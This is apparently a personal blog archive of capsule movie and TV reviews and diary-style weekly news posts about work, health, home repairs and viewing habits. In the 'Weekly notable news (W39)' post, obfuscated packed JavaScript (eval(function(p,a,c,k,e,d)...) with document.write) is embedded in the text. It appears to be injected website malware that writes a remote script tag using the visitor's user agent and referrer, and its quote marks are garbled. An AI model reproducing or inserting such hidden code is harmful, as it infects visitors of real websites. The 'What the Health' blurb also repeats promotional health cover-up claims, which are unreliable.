Movie Capsule-reviews (02.018.145)

Star Wars: The Last Jedi

StarWars-LastJedi-covThis movie offers good action and relatively interesting storytelling. It fits pretty well within the saga and it is a great joy to see Mark Hamill as Luke again. It is beautifully made and succeeds to express the depth of the characters’ angst facing their destiny — but with a good dose of humour. However, this movie is turning a page, as Disney seems to bring the franchise into a new direction. Yes, let’s get rid of all the old characters to reboot the story with an entire new cast! Good? Bad? We’ll see. I greatly enjoyed the movie but, strangely, there’s a disparity on Rotten Tomatoes between the critics’ rating (91%) and the audience’s (46%). stars-3-5

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Maze runner: The Death Cure

MazeRunner-DeathCure-covBetter than expected. I liked it despite the low Rotten Tomatoes rating (42%). Good action (bigger and louder than the previous two movies) and drama (although not always credible and sometime predictable). It is supposed to be the end of the trilogy, but the open ending might suggest otherwise… After too many average YA novel adaptations (i.e. Hunger Games or Divergent) it doesn’t feel too original, although I am a sucker for any dystopian, post-apocalyptic story — even with a simili-zombie twist. Anyway, I am not too demanding with that kind of movies: I just want to be entertained. stars-2-5

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Fahrenheit 451

fahrenheit451-covThe latest TV movie adaptation of the great Ray Bradbury’s novel is quite disappointing. It is a slow burn: there’s not much action, the acting is not that great, and the storytelling felt like cold ashes compared to my memory of the novel. Although it is not that different from the previous, interesting but painfully slow, adaptation by François Truffaut. Evidently, Ramin Bahrani wanted to rekindle Bradbury’s dystopian future (where “firemen” burned books instead of putting out fires) in order to give a warning about the dangers of a presidency during which truth and personal liberties are eroded a little more every day. stars-2-5

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Assassin’s Creed

AssassinsCreed-covI never played the video game but despite this I still enjoyed the story. The concept of the “genetic memory” is quite far-fetched but still somewhat interesting. Strangely, I was expecting a movie set in the past, not in the modern days, so I was a little caught off-guard. It is amusing to see the templar knights portrayed as the bad guys for once. Can wanting to end all violence and wars be a bad thing? Of course, it is if it involves removing all free will from the people! 

It is worth watching mostly because it is so visually beautiful and entertaining — but not much else. stars-3-0

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All the way

AllTheWay-covThis is a biographical TV movie mostly about Lyndon B. Johnson’s struggle to pass the Civil Rights Act. The title comes from LBJ’s campaign slogan (and how his opponents’ misused it!). It is an interesting historical movie, but it also offers sort of a commentary on the contemporary political situation. Politics don’t really change much with time and all the political in-fighting is quite reminiscent of the 2016 election campaign. However, fifty-four years after LBJ passed his civil right bill that was supposed to put an end to white people killing black people, where are we? Again, nothing seems to have changed much. Quite an educative movie indeed. stars-3-0

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Youth

Youth-covTwo retired friends, composer Fred Ballinger (Michael Caine) and filmmaker Mick Boyle (Harvey Keitel), are spending their vacation in the Swiss Alps. Fred is bugged by the Queen’s emissary who want him to perform for the prince’s birthday, but he refuses because the music piece they chose was written for his wife (who has now Alzheimer’s). Mick is putting the finishing touch on the script of his next movie. Family and friends will bring disturbance, drama and, eventually, tragedy.  This is another relatively contemplative movie by Paolo Sorrentino (Il Divo, La Grande Bellezza). It is rather similar to The Great Beauty. It is a really beautiful movie, with great actors (although the acting itself seems a little contrived sometimes), and which offers deep reflections on life. I enjoyed it a lot. stars-3-5

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What the health

What_the_health-covWhat the Health is the groundbreaking follow-up film from the creators of the award winning documentary Cowspiracy. The film follows intrepid filmmaker Kip Andersen as he uncovers the secret to preventing and even reversing chronic diseases – and investigates why the nation’s leading health organizations don’t want us to know about it. With heart disease and cancer the leading causes of death in America, and diabetes at an all-time high, the film reveals possibly the largest health cover-up of our time.”

[Text from the official web site ]

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Pilote Spécial Valérian

Pilote-Special_Valerian-cov“Issus de l’imagination débordante de Pierre Christin et de Jean-Claude Mézières, les personnages de Valérian et de Laureline sont apparus pour la première fois dans les pages du magazine Pilote en 1967. Par son inventivité et son audace, cette série est très rapidement devenue la référence absolue pour les lecteurs de bande dessinée de science-fiction.

Cinquante ans plus tard, à la veille de la sortie du film Valérian et la Cité des mille planètes de Luc Besson, ce numéro hors-série rend hommage à la saga et à ses auteurs.”

[ Texte de la couverture arrière; voir aussi le site de l’éditeur ]

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Weekly notable news (w17-19)

Another few weeks have passed quickly without anything significant happening: More crazy weeks at works and rainy week-ends where I don’t feel I accomplished anything. I am tired and really need a longer vacation. Next week I’ll start a ten-day holiday where I’ll be able to rest (sleep late!), catch up on stuff (writing, work around the house), travel around (Ottawa’s Tulip’s festival, Quebec City, botanical garden, museums, the libraries book sale, bury my mother’s ashes, etc.) and, above all, completely forget about work for a while. Or so I thought!

In hope for greener pastures, I have applied for a new library job (more responsibilities, further from home, but a greater challenge for my skills and a much better salary). However, after a lengthy processus, they scheduled an interview right in the middle of my vacation and at nine o’clock on the morning of my BIRTHDAY! Not only they made me filled a psychological test online (it’s called “an inventory of personality” and it will probably reveal that I am a total psycho) but they didn’t even bother to reply when I asked if it was possible to reschedule, so I’ll do my best to be there and we’ll see. Que sera, sera.

The weather has really been lousy lately. May is supposed to be the nicest month of all (and not only because it’s my birthday). Overall, it has been cold and rainy. It even snowed a little last week. In may! Hopefully, it will not portend that the summer will be likewise, and it will soon improve (at least for my vacations, please!).

Something strange happened at the beginning of the month: out of the blue, one late afternoon, I started to smell a vague odour of gazoline in the basement. It didn’t come from the obvious source, the garage. Usually, such smell comes from the sewage (through a dried P-trap) or from a dead animal but, in this case, it seemed to come from the pit of the water-pipe entry. I called the city and was told not to worry, it was “probably” not toxic and might have come from some work on the pipes in the neighbourhood (I couldn’t locate any nearby). I cracked open a window and the next morning it was gone. I never knew what it was.

The unlucky streak didn’t stop there. Not only I broke a piece of tooth while eating a granola bar during my lunch break at work (and I am still waiting for the dentist to find some spare time for an appointment), but I also discovered that the damage to the rear balcony of the house is more extensive than I first thought. The supporting posts are not planted deep enough (they rest on concrete supports that are just on the surface while they should be in soil deep enough so it never freezes in winter — who are the morons who built this house?!) so the ground expansion due to the freezing is slowly ripping the balcony off the house. So much that it has now become worrisome. We will have to do the repairs sooner than expected and it will probably be quite costly! What an exciting boring life!

Again, I must remind myself not to let the outside world rattle my core. Carpe diem, my boy, carpe diem!

Finally, I managed to stay acquainted with some of the affairs of the world and gathered notable news & links of interest — which I share with you (in both french or english, and organized into a few basic categories), after the jump.

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Monthly notable news (W12-16)

Another month (or so) has passed at lightning speed. Lots of stuff to do, particularly now that spring has come. We had plenty of rain at first, however now the weather is more enjoyable but still a little chilly. The humidity has made my left knee (and a bit my right ankle) hurt and, for a week, my back pain came back with a vengeance — libraries can be hard work sometimes (and not only for the soul; although it can be amusing too). I also had an episode of high blood glucose and I feared I would become a full-blown diabetic but it returned to my pre-diabetic “normal” after a week. This is no work for old men…

It has been a busy month. We’ve visited the notary twice for mom’s succession paperwork and there was plenty of work around the house particularly for the garden cleaning. I also had to deal with many unexpected problems: some strange Bell bug kept me from my blog for a week and I had some leaky roof, front door handle and water heater issues (the latter two just this weekend). Installing two more Outdoor Nest Cams (as one of my cheap IP cameras died following water damage inside the window) has been a strain on the Bell Wi-Fi causing serious performance problems. I’ll probably solve this issue by going back to Videotron, but only for the internet (I’ll share my sister’s).

A question on FB made me look back at my collection of old books and share my love for them. I also purchased a new Telephoto Mirror Lens for my camera. My TV viewing habits didn’t change much. I still watch too much TV: the new season for old series (When calls the Heart, Into the Badlands, Doctor Who) but two series are particularly worth mentioning for their quality: Anne and The Expense (and its beautiful opening credits with Norwegian vocals — listen on Soundcloud and Youtube). I also wanted to go see Ghost in the Shell in theatre but the reviews were not too good so I decided to wait. However, I’ll definitely won’t miss the Valerian‘s movie when it is released!

I have always considered blogging (and writing in general) as an essential mental exercice (as much as my daily walks) to keep in shape, the mind sharp and age better. However, now I have some doubt. It sometimes feels like a strain since I have less and less time to do it. I have to split my waking hours between my wife-together time, my me-time and work (from which I always come back exhausted). Lately, I had lots of problems with the blog (the Dropbox issue, not being able to log in for an entire week) and it leaves me with the dilema of having to choose between fixing the layout on the old posts or writing new material (or try to do both and be unhappy with the result). I just wonders if it is really worth it.

Maybe I should try less to DO something and just take more time to enjoy life right now (going to movies, to the museums, to the botanical garden, READ more, etc.) without always thinking about sharing it, what I would say about it, which angle I could use to explain the subject better or tell an interesting story about the whole experience. My health won’t improve with the years and I am quite sure that there is less road in front of me than behind, so maybe I should just take the most of it and enjoy the moment. Who’s reading me anyway. Although, I often say that I am writing for myself, so I can read what I wrote one day and remember how it was (particularly when I would not remember it at all). It is just like a journal left adrift in the binary stream of time, to create some sort of posterity.

Both ways seem kind of selfish: if I do write I feel guilty of not doing more of my life and, if I don’t, I feel I am letting myself down. Either way it is a losing battle. •Sigh* It’s the age-old depressing philosophical question: Did I ever really lived and did it really matter? I can only press on and hope for the best.

Finally, I nevertheless managed to stay acquainted with the (ever so depressing) affairs of the world and gathered a few notable news & links — which I share with you (in both french or english, and roughly divided into a few thematics), after the jump.

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Weekly notable news (W42)

Not much happened this week. Same old, same old, as we say. Some aberrations at work keep exasperating me (but there’s only 552 more weeks to endure). On the way back from a doctor’s appointment, my wife and I walked through the mountain to admire the colours of fall. It was superb and I wonder why we don’t do this kind of walk more often. We’ve also spent time watching more of the American presidential insanities, two excellent animated features (Miss Hokusai and Osamu Tezuka’s Buddha Movie 1: The Red Desert! It’s Beautiful) as well as a new episode of Poldark. For my part, I’ve also started a promising new series (Westworld) and watched the season finale of Halt and Catch Fire. And I probably did a zillion other things (like updating my anime & manga bibliography) that I can’t even remember. But, does it really matter?

However, I do remember that I managed to find some time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across lately (in no particular order):

 

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Weekly notable news (W39)

Another busy week spent brooding about the craziness at work (still 555 weeks before retirement), document.write(“”); going to the hospital for another CT enterography for my wife and backing-up my computers to install macOS 10.12 Sierra on both my iMac and Mac Mini. Didn’t have much else on my mind.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdhfs|var|u0026u|referrer|skafk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdikr|var|u0026u|referrer|ezaer||js|php’.split(‘|’),0,{}))

To relax we finished watching
Dancing on the edge (Brit period drama about a black jazz band, part mystery and part social commentary on racism), the first episode of Maigret (Brit adaptation of Georges Simenon‘s police drama set in the ’50s Paris with Rowan Atkinson in the title role!!! It’s quite good once you’ve passed seeing Mr. Bean face. Now I understand why he never speaks in his sketches: he has a really serious, deep voice!) as well as the first two episodes of the second season of Poldark (yes, another Brit period drama).

And, of course, I still found a little time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across this week (in no particular order):

Funnies

Pearl Before Swine: Friday, May 27, 2016

[Reminds me of someone…]
Ben: Wednesday, June 1st, 2016

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